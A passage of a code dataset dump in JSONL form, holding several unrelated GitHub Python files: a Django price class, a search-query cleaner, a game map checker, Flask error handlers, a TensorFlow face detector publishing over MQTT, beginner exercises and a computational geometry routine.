facecolor='none'))\nplt.savefig('/Users/aldo/Desktop/git-romi/sky_crop/mask_rcnn/examples/find_santa.png')\nplt.show()\n\n\n\n\n","repo_name":"Aldo23/image_analytics","sub_path":"HOG/hog_pred.py","file_name":"hog_pred.py","file_ext":"py","file_size_in_byte":4517,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"72312180640","text":"from decimal import Decimal\n\nfrom sellmo.core import chaining\n\nfrom django.utils import six\n\nfrom .currency import Currency\nfrom .exceptions import CurrencyMismatch, PriceComponentOverflow\nfrom .utils import safe_decimal, merge_amount_dicts\n\n__all__ = ['Price', 'PriceComponent']\n\n\nclass PriceComponent(object):\n\n key = None\n verbose_name = None\n\n extra_fields = None\n \"\"\"\n A list with extra fields names\n to be taken into concideration\n when assigning, retrieving, or indexing.\n \"\"\"\n\n multiplicity = 1\n \"\"\"\n Number of times this component is represented\n in each model or index per price field.\n \"\"\"\n\n def __init__(self, key=None, verbose_name=None, multiplicity=None):\n self.key = key or self.key\n self.verbose_name = verbose_name or self.verbose_name\n self.multiplicity = multiplicity or self.multiplicity\n self.extra_fields = self.extra_fields or []\n\n def extract_price(self, price):\n extracted = list(self.extract(price))\n if extracted:\n price = Price(0, currency=price.currency)\n for (amount, extra_values) in extracted:\n price.amount += amount\n price = self.apply(price, amount, extra_values)\n return price\n return None\n\n def safe_extract(self, price):\n extracted = list(self.extract(price))\n if len(extracted) > self.multiplicity:\n raise PriceComponentOverflow(self)\n\n if len(extracted) < self.multiplicity:\n empty_extra_values = self.empty_extra_values()\n for _ in range(len(extracted), self.multiplicity):\n extracted.append((None, empty_extra_values))\n\n return extracted\n\n def extract(self, price):\n \"\"\"\n Finds and extracts component prices\n out of the given price. These should\n be outputted as (amount, extra_values)\n \"\"\"\n raise NotImplementedError()\n\n def apply(self, price, amount, extra_values):\n \"\"\"\n Opposite of extract. Can be called multiple\n times, depending on how many prices where\n extracted for this comonent.\n \"\"\"\n raise NotImplementedError()\n\n def construct_extra_model_fields(self):\n \"\"\"\n Returns a dictionary representing the\n extra fields as a model field.\n \"\"\"\n return {}\n\n def construct_extra_index_fields(self):\n \"\"\"\n Returns a dictionary representing the\n extra fields as an index field.\n \"\"\"\n return {}\n\n def empty_extra_values(self):\n \"\"\"\n Returns a dictionary of empty extra\n values. This will be used when multiplicity\n isn't fully used.\n \"\"\"\n return {}\n\n def prepare_for_index(self, price, extra_values):\n return (price, extra_values)\n\n def prepare_from_index(self, price, extra_values):\n return (price, extra_values)\n\n def prepare_for_model(self, price, extra_values):\n return (price, extra_values)\n\n def prepare_from_model(self, price, extra_values):\n return (price, extra_values)\n\n def __repr__(self):\n return self.key\n\n\nclass Price(object):\n\n COMPONENTS = []\n\n def sanity_check(self, other):\n if not isinstance(other, Price):\n raise TypeError(other)\n if self.currency != other.currency:\n raise CurrencyMismatch(self, other)\n\n @staticmethod\n @chaining.define\n def calculate(currency=None, bare=False, **kwargs):\n if currency is None:\n currency = Currency.get_current()\n yield chaining.update(currency=currency)\n\n with currency.activate():\n yield chaining.forward\n\n def __init__(self, amount, currency=None, component=None):\n\n amount = safe_decimal(amount)\n\n if currency is None:\n currency = Currency.get_current()\n\n self.amount = amount\n self.currency = currency\n self.component = component\n\n components = {}\n if self.component:\n components[self.component] = amount\n self.components = components\n\n def clone(self, cls=None, clone=None):\n if cls is None:\n cls = type(self)\n\n price = cls(\n self.amount,\n currency=self.currency,\n component=self.component\n )\n price.components = self.components.copy()\n return price\n\n def round(self, digits=2):\n price = self.clone()\n price.amount = safe_decimal(Decimal(str(round(price.amount, digits))))\n price.components = {\n component:\n safe_decimal(Decimal(str(round(amount, digits))))\n for component, amount\n in six.iteritems(price.components)\n }\n return price\n\n def __add__(self, other):\n self.sanity_check(other)\n price = self.clone()\n price.amount = safe_decimal(price.amount + other.amount)\n price.components = merge_amount_dicts(\n price.components,\n other.components,\n lambda a, b: safe_decimal(a + b)\n )\n return price\n\n def __sub__(self, other):\n self.sanity_check(other)\n price = self.clone()\n price.amount = safe_decimal(price.amount - other.amount)\n price.components = merge_amount_dicts(\n price.components,\n other.components,\n lambda a, b: safe_decimal(a - b)\n )\n return price\n\n def __mul__(self, multiplier):\n price = self.clone()\n price.amount = safe_decimal(price.amount * multiplier)\n price.components = {\n component: safe_decimal(amount * multiplier)\n for component, amount in six.iteritems(price.components)\n }\n return price\n\n def __rmul__(self, multiplier):\n return self.__mul__(multiplier)\n\n def __div__(self, divider):\n price = self.clone()\n price.amount /= divider\n price.components = {\n component: safe_decimal(amount / divider)\n for component, amount in six.iteritems(price.components)\n }\n return price\n\n def __rdiv__(self, divider):\n return self.__div__(divider)\n\n def __neg__(self):\n price = self.clone()\n price.amount = -price.amount\n price.components = {\n component: safe_decimal(-amount)\n for component, amount in six.iteritems(price.components)\n }\n return price\n\n def __eq__(self, other):\n if not isinstance(other, Price):\n return NotImplemented\n\n return (\n self.currency == other.currency and self.amount == other.amount and\n self.component == other.component and\n self.components == other.components\n )\n\n def __ne__(self, other):\n if not isinstance(other, Price):\n return NotImplemented\n\n return (\n self.currency != other.currency or self.amount != other.amount or\n self.component != other.component or\n self.components != other.components\n )\n\n def __hash__(self):\n return hash(\n (\n self.currency, self.amount, self.component, frozenset(\n self.components.items()\n )\n )\n )\n\n def __contains__(self, component):\n if not isinstance(component, (basestring, PriceComponent)):\n raise TypeError()\n elif isinstance(component, PriceComponent):\n return bool(component.extract_price(self))\n return component in self.components\n\n def __getitem__(self, component):\n if component in self.components:\n return Price(\n self.components[component],\n currency=self.currency,\n component=component\n )\n elif isinstance(component, PriceComponent):\n return component.extract_price(self)\n raise KeyError(component)\n\n def __setitem__(self, component, value):\n amount = value\n if isinstance(amount, Price):\n amount = value.amount\n self.components[component] = safe_decimal(amount)\n\n def __len__(self):\n return len(self.components)\n\n def __iter__(self):\n for component, amount in six.iteritems(self.components):\n yield (\n component, Price(\n amount,\n currency=self.currency,\n component=component\n )\n )\n\n def __nonzero__(self):\n return self.amount != 0\n\n def __unicode__(self):\n return self.currency.format(self.amount)\n\n def __repr__(self):\n return str(self.amount)\n","repo_name":"trb116/pythonanalyzer","sub_path":"data/input/adaptivdesign/django-sellmo/sellmo/apps/pricing/price.py","file_name":"price.py","file_ext":"py","file_size_in_byte":8707,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"35338103751","text":"import re\nimport pickle\nimport os\nfrom xml.etree import cElementTree as ET\n\n# This script is used to clean the given query in the cacm.query.txt to be\n# used for analysis further. The same tokenizing technique like the tokenizing\n# for the corpus is applied in order to avoid any discrepancies\n\n# import the given query file to analyse the queries and clean/refine them\nquery_file = r'cacm.query.txt'\ncontent = open(query_file, 'r').read()\n\n# adding tag at start and end to convert into XML format\ncontent = \"\\n\" + content + \"\\n\"\n\n# put in tag QUERY around the query\ncontent = content.replace(\"\", \"\\n\")\nxmlStr = content.replace(\"\", \"\\n\")\n\nquery_dict = {}\nroot = ET.fromstring(xmlStr)\n\n# create new directory for encoded output files that can be used later on\n# to import data structures\nencoded_dir = r'../Encoded Data Structures/'\nif not os.path.exists(encoded_dir):\n os.makedirs(encoded_dir)\n\nfor query in root:\n q_id = query.find('DOCNO').text.strip()\n q = query.find('QUERY').text\n q = q.lower().replace(\"\\n\", \" \")\n q = re.sub(' +', ' ', q).strip()\n q = re.sub(r\"[^0-9A-Za-z,-\\.:\\\\$]\", \" \", q) # retain alpha-numeric text along with ',',':' and '.'\n q = re.sub(r\"(?!\\d)[$,%,:.,-](?!\\d)\", \" \", q, 0) # retain '.', '-' or ',' between digits\n q = q.split()\n for rt in q:\n if rt.startswith('-'):\n rt.replace(rt, rt.split('-')[1])\n if rt.endswith('-'):\n rt.replace(rt, rt.split('-')[0])\n else:\n continue\n q = ' '.join(q)\n query_dict[q_id] = q\n\n\nfor key, value in query_dict.items():\n print(\"Cleaned Query \" + key + \" : \" + value)\n\n\n# write output clean query to the file\nf = open(\"Cleaned_Queries.txt\", 'w', encoding='utf-8')\nfor quid in query_dict:\n f.write(quid + \"\\t\" + query_dict[quid] + \"\\n\")\nf.close()\n\n\n# dump encoded files using pickle to be used later on as same data structure for\n# any other file\noutput = open(encoded_dir + 'Encoded-Cleaned_Queries.txt', 'wb')\npickle.dump(query_dict, output)\noutput.close()\n\nprint(\"\\n\\nQuery Cleaning Process DONE\")\n","repo_name":"parshva45/Information-Retrieval-System","sub_path":"Phase 1/Task 1/Step 3/query_cleaning.py","file_name":"query_cleaning.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"73628294562","text":"#!/usr/bin/env python3\n\n\"\"\"\nCheck whether a game has any maps with tile/wall/foe lumps that are the wrong size\n(file size, BSAVE header, and map size don't match), which afflicted a number\nof very early OHRRPGCE games.\n\n ./checkmaps.py [game.rpgdir]\nProcess an .rpgdir; or else all .rpgdirs in the current directory.\n\"\"\"\n\n\nimport sys\nimport os\n\ndef i16(dat, off):\n return (dat[off + 1] << 8) | dat[off]\n\ndef proc_lump(path, expect_size = None):\n with open(path, 'rb') as fh:\n dat = fh.read()\n file_len = len(dat)\n is_bsave = dat[0] == 253\n if not is_bsave:\n print(path, \"Not a BSAVE file\")\n else:\n pass #print(path, \"BSAVE\")\n bsave_len = i16(dat, 5)\n wide = i16(dat, 7)\n high = i16(dat, 9)\n tile_len = wide * high\n if len({file_len, bsave_len + 7, tile_len + 11}) > 1:\n if is_bsave:\n extra = \"\"\n if file_len != bsave_len + 7:\n extra = \"non-bsave garbage: %d\" % (file_len - (bsave_len + 7))\n print(path, \"%d*%d tiles, bsave %d long by %d\" % (wide, high, bsave_len, bsave_len - (4 + wide * high)), extra)\n nonzero = sum(x != 0 for x in dat[11 + wide * high:])\n if nonzero:\n print(\"... there are %d nonzero bytes\" % nonzero)\n else:\n layers = (file_len - 11) // (wide * high)\n if (file_len - 11) % (wide * high):\n print(\"%d*%d tiles, %d layers, file long by %d\" % (wide, high, layers, (file_len - 11 - wide * high * layers)))\n if expect_size and (wide,high) != expect_size:\n print(path, \"%d*%d instead of expected %s\" % (wide, high, expect_size))\n return wide, high\n\ndef proc_game(path):\n files = os.listdir(path)\n for f in files:\n if f.endswith('.gen'):\n archinym = f[:-4]\n for mapnum in range(99):\n def lumpname(code):\n return path + '/' + archinym + '.%s%02d' % (code, mapnum)\n if not os.path.isfile(lumpname('t')):\n print(mapnum, \"maps\")\n return\n else:\n #print(lumpname)\n size = proc_lump(lumpname('t'))\n proc_lump(lumpname('p'), size)\n proc_lump(lumpname('e'), size)\n\n\nif len(sys.argv) > 1:\n proc_game(sys.argv[1])\n sys.exit()\n\ndirs = os.listdir('.')\nfor d in dirs:\n if d.endswith('.rpgdir') or d.endswith('.unlmp'):\n print(d)\n proc_game(d)\n","repo_name":"ohrrpgce/tools","sub_path":"rpgbatch/checkmaps.py","file_name":"checkmaps.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"19144327834","text":"import unittest\nfrom relation_extraction.ontology_messenger import OntologyMessenger\nfrom server.server import *\nfrom unittest.mock import patch, Mock, MagicMock, mock_open\n\nclass TestGetRelations(unittest.TestCase):\n\n @patch('os.getenv')\n @patch('requests.get')\n def test_extract_specific_relations(self, mock_get, mock_os):\n response = {\n \"triples\": [\n {\"s\": {\"Value\": \"http://dbpedia.org/ontology/test\"}},\n {\"s\": {\"Value\": \"http://dbpedia.org/ontology/another_test\"}}\n ]\n }\n \n mock_os.return_value = \"internal_key\"\n mock_get.return_value.status_code = 200\n mock_get.return_value.json.return_value = response\n mock_get.return_value.text.return_value = \"request response\"\n \n relations = OntologyMessenger.send_request()\n \n self.assertEqual(len(relations), 2)\n self.assertEqual(relations[0], \"test\")\n self.assertEqual(relations[1], \"another_test\")\n mock_get.assert_called_once_with(url='http://knox-proxy01.srv.aau.dk/knox-api/triples', params={'g': 'http://knox_ontology', 's': 'http://dbpedia.org/ontology/', 'o': 'http://www.w3.org/1999/02/22-rdf-syntax-ns#Property'}, headers={'Access-Authorization': 'internal_key'})\n\n\n","repo_name":"Knox-AAU/PreprocessingLayer_TripleConstruction","sub_path":"test/test_relation_extraction/test_get_relations.py","file_name":"test_get_relations.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"1218189481","text":"from __future__ import annotations\n\nimport logging\nfrom typing import Optional\n\nimport flask\nfrom flask import request\nfrom flask_restx import Api\nfrom werkzeug.exceptions import (\n BadRequest,\n UnavailableForLegalReasons,\n)\n\nfrom dl_api_commons.access_control_common import AuthFailureError\nfrom dl_api_commons.flask.middlewares.commit_rci_middleware import ReqCtxInfoMiddleware\nfrom dl_core.exc import USReqException\n\n\nAPI = Api(prefix=\"/api/v1\")\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef init_apis(app: flask.Flask) -> None:\n from dl_api_lib.app.control_api.resources import connections # noqa\n from dl_api_lib.app.control_api.resources import dataset # noqa\n from dl_api_lib.app.control_api.resources import info # noqa\n\n API.init_app(app)\n\n\n@API.errorhandler(USReqException)\ndef handle_us_error(error): # type: ignore\n resp = error.orig_exc.response\n try:\n text = resp.text\n except Exception:\n text = resp.content.decode(\"utf-8\", errors=\"replace\")\n LOGGER.warning(\n \"Handling US error: %r (%s)\",\n text,\n resp.status_code,\n )\n return {\"message\": text}, resp.status_code\n\n\n@API.errorhandler(UnavailableForLegalReasons)\ndef handle_us_read_only_mode_error(error): # type: ignore\n # flask_restx doesn't support HTTP 451, so we have to handle it manually\n return error.data, 451\n\n\n@API.errorhandler(BadRequest)\ndef handle_bad_request(error): # type: ignore\n rci = ReqCtxInfoMiddleware.get_last_resort_rci()\n req_id: Optional[str] = rci.request_id if rci is not None else None\n\n LOGGER.warning(\n \"Bad request on %s: %s, req_id: %s\",\n request.url,\n error.data,\n req_id,\n )\n return error.data, 400\n\n\n@API.errorhandler(AuthFailureError)\ndef handle_auth_error(error):\n if error.response_code in (401, 403):\n if error.user_message is None:\n LOGGER.warning(\"No user message for AuthFailureError with defined response code\", exc_info=True)\n user_message = \"Auth failure\"\n else:\n user_message = error.user_message\n http_response_code = error.response_code\n else:\n user_message = \"Internal server error\"\n http_response_code = 500\n\n return {\"message\": user_message}, http_response_code\n","repo_name":"datalens-tech/datalens-backend","sub_path":"lib/dl_api_lib/dl_api_lib/app/control_api/resources/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"54"} +{"seq_id":"14924850388","text":"from __future__ import print_function\nfrom database.database_manager import DatabaseManager as database\n\ndef initialize_local_database(require_db_confirm = False):\n \n #map raw_input (python2) to input (python3)\n try:\n input = raw_input\n except NameError:\n pass\n\n tables = ['User', 'Chow']\n\n users = [\n\n {\n 'fName': 'Snoop',\n 'lName': 'Dogg'\n },\n {\n 'fName': 'Dat',\n 'lName': 'Boi'\n },\n {\n 'fName': 'Mr',\n 'lName': 'Raccoon'\n },\n ]\n\n chows = [\n {\n 'food': 'Large Pep. Pizza',\n 'meetLocation': 'Dominos down main',\n 'meetTime':'2999-02-08T17:55:00',\n 'lastUpdated':'2018-02-08T17:55:00',\n 'notes':'I ordered this for 2 but my buddy bailed on me. We can work out payment later.'\n },\n {\n 'food': 'Trash',\n 'meetLocation': 'garbage can behind Franklin Bristow\\'s place.',\n 'meetTime':'1234-02-08T01:55:00',\n 'lastUpdated':'2018-02-08T01:55:00',\n 'notes':'Calling all raccoons, let\\'s eat!'\n },\n ]\n\n if(require_db_confirm):\n print('Make sure DynamoDB Local is running continuing!')\n input(\"Press Enter to continue...\")\n\n db = database.getInstance()\n\n print('Setting up tables...')\n for table in tables:\n\n #if table already exists - delete it\n if db.table_exists(table):\n db.delete_table(table)\n \n if db.create_table(table):\n print('Table:',table,'was created!')\n print('Tables were successfully setup!')\n\n print('Populating users...')\n for user in users:\n db.put_item('User', user)\n print('Done!')\n\n print('Populating chows...')\n for chow in chows:\n db.put_item('Chow', chow)\n print('Done!')\n\n print('Local db setup complete!')\n\nif __name__ == \"__main__\":\n initialize_local_database(True)","repo_name":"KieranL/Chow-Me-In","sub_path":"server/chowmein/dbinit.py","file_name":"dbinit.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"27043598912","text":"#1 약수 구하기\na=int(input())\nb= 1\nwhile a>=b :\n if (a%b) == 0:\n print(\"%d(은)는 %d의 약수입니다.\" % (b,a))\n b += 1\n else:\n b += 1\n\n#2 약수 구하고 소수 나타 내기\na = int(input())\nb = 1\ncounter = 0\nwhile a >= b:\n if (a % b) == 0:\n print(\"%d(은)는 %d의 약수입니다.\" % (b,a))\n b += 1\n counter += 1\n else:\n b += 1\nif counter == 2:\n print(\"%d(은)는 1과 %d로만 나눌 수 있는 소수입니다.\" % (a, a))\n\n# 3 대소문자 구문\na = input()\nif str(\"z\") >= a >= str(\"a\") :\n print(\"%s 는 소문자 입니다.\" % a)\nelif str(\"Z\") >= a >= str(\"A\") :\n print(\"%s 는 대문자 입니다.\" % a)\nelse :\n print(\"%s 는 알파벳이 아닙니다.\" % a)\n\n\n# 4 가위바위보\na = [\"가위\", \"바위\", \"보\"]\nM1 = input(a)\nM2 = input(a)\nif not( M1 and M2 in a) :\n print(\"잘못된 입력입니다.\")\nelif M1 == M2 :\n print(\"Result : Draw!\")\nelif (M1 == \"가위\" and M2 == \"보\") or (M1 == \"바위\" and M2 == \"가위\") or (M1 == \"보\" and M2 == \"바위\") :\n print(\"Result : Man1 Win!\")\nelif (M1 == \"바위\" and M2 == \"보\") or (M1 == \"가위\" and M2 == \"바위\") or (M1 == \"보\" and M2 == \"가위\") :\n print(\"Result : Man2 Win!\")\n\n#5 ASCII 코드 대소문자 변환\n#\n'''\nord(문자) -> 해당문자의 아스키 코드 값을 불러옴 \n%c 문자 %s 문자열 %f 실수 %d 십진수 %x 16진수 %o 8진수 %b 2진수 \n'''\na=input()\nif 123> ord(a) > 96 :\n b= ord(a) -32\n\n print(\"%s(ASCII: %d) => %c(ASCII: %d)\" % (a, ord(a), b, b))\nelif 91>ord(a)>64 :\n b = ord(a) +32\n\n print(\"%s(ASCII: %d) => %c(ASCII: %d)\" % (a, ord(a), b, b))\nelse :\n print(\"%s\" % a)\n\n#6 1~200 에서 7의 배수이지만 5의 배수는 아닌것 찾기\n\na=1\nwhile a <=200 :\n if a%7==0 and a%5!=0 :\n if a==196 :\n print(a)\n a += 1\n else :\n print(a, end=\",\")\n a +=1\n else : a += 1\n\n\n#7 100~300사이의 모든 자리수가 짝수인수\nn= 100\nwhile 100 <= n <=300:\n a= n//100\n b= n%100\n c= b//10\n d= b%10\n if a%2==0 and c%2==0 and d%2==0 :\n if n==288:\n print(n)\n else:\n print(n,end=\",\")\n n +=1\n else : n+=1\n","repo_name":"tjdgns1284/git_practice2_bazic","sub_path":"md1.py","file_name":"md1.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"43681418379","text":"def main(filename):\n with open(filename) as file:\n priority_sum = 0\n\n current_group = []\n for line in file:\n current_group.append(line.rstrip('\\n'))\n\n if len(current_group) == 3:\n badge_item_type = get_badge_item_type(*current_group)\n priority_sum += get_priority(badge_item_type)\n current_group = []\n\n print(priority_sum)\n\n\ndef get_badge_item_type(backpack1, backpack2, backpack3):\n intersect1 = set(backpack1).intersection(set(backpack2))\n intersect2 = intersect1.intersection(set(backpack3))\n\n return next(iter(intersect2))\n\n\ndef get_priority(character):\n ascii_value = ord(character)\n\n if character.islower():\n return ascii_value - 96\n\n return ascii_value - 38\n\n\nif __name__ == '__main__':\n main('input.txt')\n","repo_name":"RobbeDP/aoc-2022","sub_path":"aoc03/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"8073764644","text":"from PIL import Image\nimport numpy as np\nimport cv2 as cv\nimport paho.mqtt.client as mqtt\nimport time\nimport os\nimport tensorflow.contrib.tensorrt as trt\nimport tensorflow as tf\nprint(\"Finished Importing Libraries\")\n\ndef on_message(client, userdata, message):\n print(\"message received\")\n\n#face_cascade = cv.CascadeClassifier('/haarcascades/haarcascade_frontalface_default.xml')\nFROZEN_GRAPH_NAME = 'data/frozen_inference_graph_face.pb'\noutput_dir=''\nfrozen_graph = tf.GraphDef()\nwith open(os.path.join(output_dir, FROZEN_GRAPH_NAME), 'rb') as f:\n frozen_graph.ParseFromString(f.read())\n\nprint(\"Loaded Frozen Graph\")\n\n# Adding constants\nINPUT_NAME='image_tensor'\nBOXES_NAME='detection_boxes'\nCLASSES_NAME='detection_classes'\nSCORES_NAME='detection_scores'\nMASKS_NAME='detection_masks'\nNUM_DETECTIONS_NAME='num_detections'\n\ninput_names = [INPUT_NAME]\noutput_names = [BOXES_NAME, CLASSES_NAME, SCORES_NAME, NUM_DETECTIONS_NAME]\n\n# Optimizing frozen graph with TensorRT\n#trt_graph = trt.create_inference_graph(\n# input_graph_def=frozen_graph,\n# outputs=output_names,\n# max_batch_size=1,\n# max_workspace_size_bytes=1 << 25,\n# precision_mode='FP16',\n# minimum_segment_size=50\n#)\n\n#print(\"Optimized frozen graph with TensorRT\")\n\n# Creating session and loading graph\ntf_config = tf.ConfigProto()\ntf_config.gpu_options.allow_growth = True\n\ntf_sess = tf.Session(config=tf_config)\n\ntf.import_graph_def(frozen_graph, name='')\n\ntf_input = tf_sess.graph.get_tensor_by_name(input_names[0] + ':0')\ntf_scores = tf_sess.graph.get_tensor_by_name('detection_scores:0')\ntf_boxes = tf_sess.graph.get_tensor_by_name('detection_boxes:0')\ntf_classes = tf_sess.graph.get_tensor_by_name('detection_classes:0')\ntf_num_detections = tf_sess.graph.get_tensor_by_name('num_detections:0')\n\nbroker_address = \"mosquitto\"\nclient = mqtt.Client(\"test\")\n# print(client)\nclient.on_message = on_message\nclient.connect(broker_address)\n\nclient.subscribe(\"imagelocal\")\n# client.publish(\"testtopic\", str(time.time()))\n\n# 1 should correspond to /dev/video1 , your USB camera. The 0 is reserved for the TX2 onboard camera\ni = 0\ncap = cv.VideoCapture(0)\n\nt0 = time.time()\nwhile(True):\n # Capture frame-by-frame UNCOMMENT BELOW LINE\n ret, frame = cap.read()\n\n image = np.array(frame)\n\n # image_resized = frame[0:300, 0:300, :]\n # UNCOMMENT THIS ONE\n # image_resized = cv.resize(frame,(300,300))\n # cv.imshow(\"frame\", frame)\n\n # TEST CODE\n # image = cv.imread('/neha_hd.jpg')\n # image_resized = cv.resize(image,(300,300))\n\n\n # face detection and other logic goes here\n scores, boxes, classes, num_detections = tf_sess.run([tf_scores, tf_boxes, tf_classes, tf_num_detections], feed_dict={\n tf_input: image[None, ...]})\n boxes = boxes[0] # index by 0 to remove batch dimension\n scores = scores[0]\n classes = classes[0]\n num_detections = num_detections[0]\n # print(\"Max Score:\", np.amax(scores))\n\n for i in range(int(num_detections)):\n if scores[i] < 0.5:\n continue\n\n \n print(\"Face Detected\")\n i += 1\n t1 = time.time()\n total = t1 - t0\n print(\"Time to run {} frames: {}\".format(int(i), total))\n \n box = boxes[i] * np.array([image.shape[0], image.shape[1], image.shape[0], image.shape[1]])\n box = box.astype(int)\n print(\"Score:\", scores[i])\n print(\"Box:\", box)\n y1 = box[0]\n x1 = box[1]\n y2 = box[2]\n x2 = box[3]\n\n face = image[y1:y2, x1:x2, :]\n\n # rcfull, pngfull = cv.imencode('.png',frame)\n cv.imwrite('/tmp/frame.png', image)\n \n rc,png = cv.imencode('.png', face)\n cv.imwrite('/tmp/face.png',face)\n # cv2.imshow(\"face\", png)\n msg = png.tobytes()\n client.publish(\"imagelocal\", msg, qos = 0, retain = False)\n\nclient.loop_forever()\n","repo_name":"neha-mids/MIDS-submissions","sub_path":"hw7/hw07_detect.py","file_name":"hw07_detect.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"182356559","text":"import pandas as pd\nimport numpy as np\nimport sqlite3 as db\nimport csv\n\nconn = {}\nwith open('data.csv', 'r', encoding=\"UTF-8-sig\") as f:\n reader = csv.reader(f)\n print(type(reader))\n firstline = True\n for row in reader:\n if firstline == True:\n firstline = False\n continue\n else:\n conn[row[1]] = row[4]\n\nprint(conn)\n\ndef readFronSqllite(db_path,exectCmd):\n conn = db.connect(db_path) # 该 API 打开一个到 SQLite 数据库文件 database 的链接,如果数据库成功打开,则返回一个连接对象\n cursor=conn.cursor() # 该例程创建一个 cursor,将在 Python 数据库编程中用到。\n conn.row_factory=db.Row # 可访问列信息\n cursor.execute(exectCmd) #该例程执行一个 SQL 语句\n rows=cursor.fetchall() #该例程获取查询结果集中所有(剩余)的行,返回一个列表。当没有可用的行时,则返回一个空的列表。\n return rows\n #print(rows[0][2]) # 选择某一列数据\n\n# 解析ARPA 单帧信息\ndef readfromAppaFrame(ARPAFrame):\n subARPA=ARPAFrame.split(',')\n #print(subARPA)\n\nrows=readFronSqllite('./db.sqlite3','select id,majorName,year,minScore,firstlevelIDs,categoryID_id,collegeID_id,provinceID_id from Majors')\ndata = []\nreadLines=163383\nlineIndex=0\nwhile lineIndex= p:\n pos = p - ni\n inv = (v[j], v[i + pos - 1])\n ni += diff\n j += 1\n while i <= rl:\n nv[n] = v[i]\n n += 1\n i += 1\n while j <= rr:\n nv[n] = v[j]\n n += 1\n j += 1\n for i in range(ll, rr + 1):\n v[i] = nv[i - ll]\n return ni, inv\n\n def sort(t, p):\n \"Ordena uma lista v, retorna número de inversões e a p-ésima inversão de v\"\n\n l, r = t\n if r - l + 1 <= 1:\n return 0, None\n mid = (l + r + 1) // 2\n ni_l, i_l = sort((l, mid - 1), p)\n ni_r, i_r = sort((mid, r), p - ni_l)\n ni_m, i_m = merge((l, mid - 1), (mid, r), p - ni_l - ni_r)\n return ni_m + ni_l + ni_r, i_m or i_l or i_r\n \n ni, inv = sort((0, len(v) - 1), p)\n return ni, inv\n\n bijection = {}\n L = sorted(G, key=functools.cmp_to_key(Line.cmp(T[0])))\n R = sorted(G, key=functools.cmp_to_key(Line.cmp(T[1])))\n for i, l in enumerate(L):\n bijection[l] = i\n\n v = [bijection[l] for l in R]\n count, inv = inversions(v)\n v = [bijection[l] for l in R]\n count, inv = inversions(v, randint(1, max(1, count)))\n inv = inv if not inv else (L[inv[0]], L[inv[1]])\n return count, inv\n\ndef level(G, p, x):\n \"p-ésimo elemento de G em x, se G estivesse ordenado\"\n\n return sorted(G, key=functools.cmp_to_key(Line.cmp(x)))[p]\n\ndef has_odd_intersections(G1, G2, p1, p2, T):\n \"verifica se a quantidade de intersecções entre os níveis p1 e p2 em T é ímpar\"\n\n l, r = T\n left = Line.cmp(l)(level(G1, p1, l), level(G2, p2, l))\n right = Line.cmp(r)(level(G1, p1, r), level(G2, p2, r))\n return left * right < 0\n\ndef verify_solution(P1, P2, l):\n \"verifica se a reta l resolve o problema para os conjuntos de pontos P1 e P2\"\n\n count = [[0, 0], [0, 0]]\n P = [P1, P2]\n for i in range(2):\n for p in P[i]:\n if p in l:\n continue\n if p.above(l):\n count[i][0] += 1\n if p.under(l):\n count[i][1] += 1\n if 2 * max(count[i][0], count[i][1]) > len(P[i]):\n return False\n\n return True\n\ndef max_intersections(G):\n \"conta a maior quantidade de intersecções possíveis no nível G\"\n\n return (len(G) * (len(G) - 1)) // 2\n\ndef new_interval(G1, G2, p1, p2, T):\n \"retorna um novo intervalo com a propriedade de intersecção ímpar e se a quantidade de retas é pequena o suficiente para um testa tudo\"\n\n ids = [None, None]\n\n def draw_interval(should_plot = True):\n control.thaw_update()\n for i in range(2):\n if not ids[i] == None:\n control.plot_delete(ids[i])\n if T[i] != -inf and T[i] != +inf and should_plot:\n ids[i] = control.plot_vert_line(T[i], 'yellow')\n control.sleep()\n control.freeze_update()\n\n cur_intersections, random_inversion = intersections(G1, T)\n is_base = (max_intersections(G1) <= 32)\n while 32 * cur_intersections > max_intersections(G1) and not is_base:\n x = random_inversion[0].intersect(random_inversion[1]).x\n if has_odd_intersections(G1, G2, p1, p2, (T[0], x)):\n T = (T[0], x)\n else:\n T = (x, T[1])\n cur_intersections, random_inversion = intersections(G1, T)\n draw_interval()\n draw_interval(False)\n return T, is_base\n\ndef new_trapezoid(G, p, T):\n \"retorna um trapezoide para eliminaçāo de retas\"\n\n off = len(G) // 8\n dL1 = Point(T[0], level(G, p - off, T[0])(T[0]))\n dL2 = Point(T[0], level(G, p + off, T[0])(T[0]))\n dR1 = Point(T[1], level(G, p - off, T[1])(T[1]))\n dR2 = Point(T[1], level(G, p + off, T[1])(T[1]))\n return (dL1, dL2, dR2, dR1)\n\ndef intersects_trapezoid(l, t):\n \"checa se a reta l intersecta o trapezoide t e se l está abaixo de t\"\n is_under, is_above = True, True\n\n for i in range(4):\n if t[i].under_in(l):\n is_under = False\n\n if t[i].above_in(l):\n is_above = False\n \n return is_under, is_above\n\ndef discard_lines(G, p, t):\n nG = []\n b = 0\n for l in G:\n control.freeze_update()\n new_plot_id = control.plot_line(0, l(0), 1, l(1), 'cyan')\n control.sleep()\n control.thaw_update()\n control.freeze_update()\n is_under, is_above = intersects_trapezoid(l, t)\n if not (is_under or is_above):\n nG.append(l)\n elif is_under:\n b += 1\n if (is_under or is_above):\n delete_stuff([l])\n 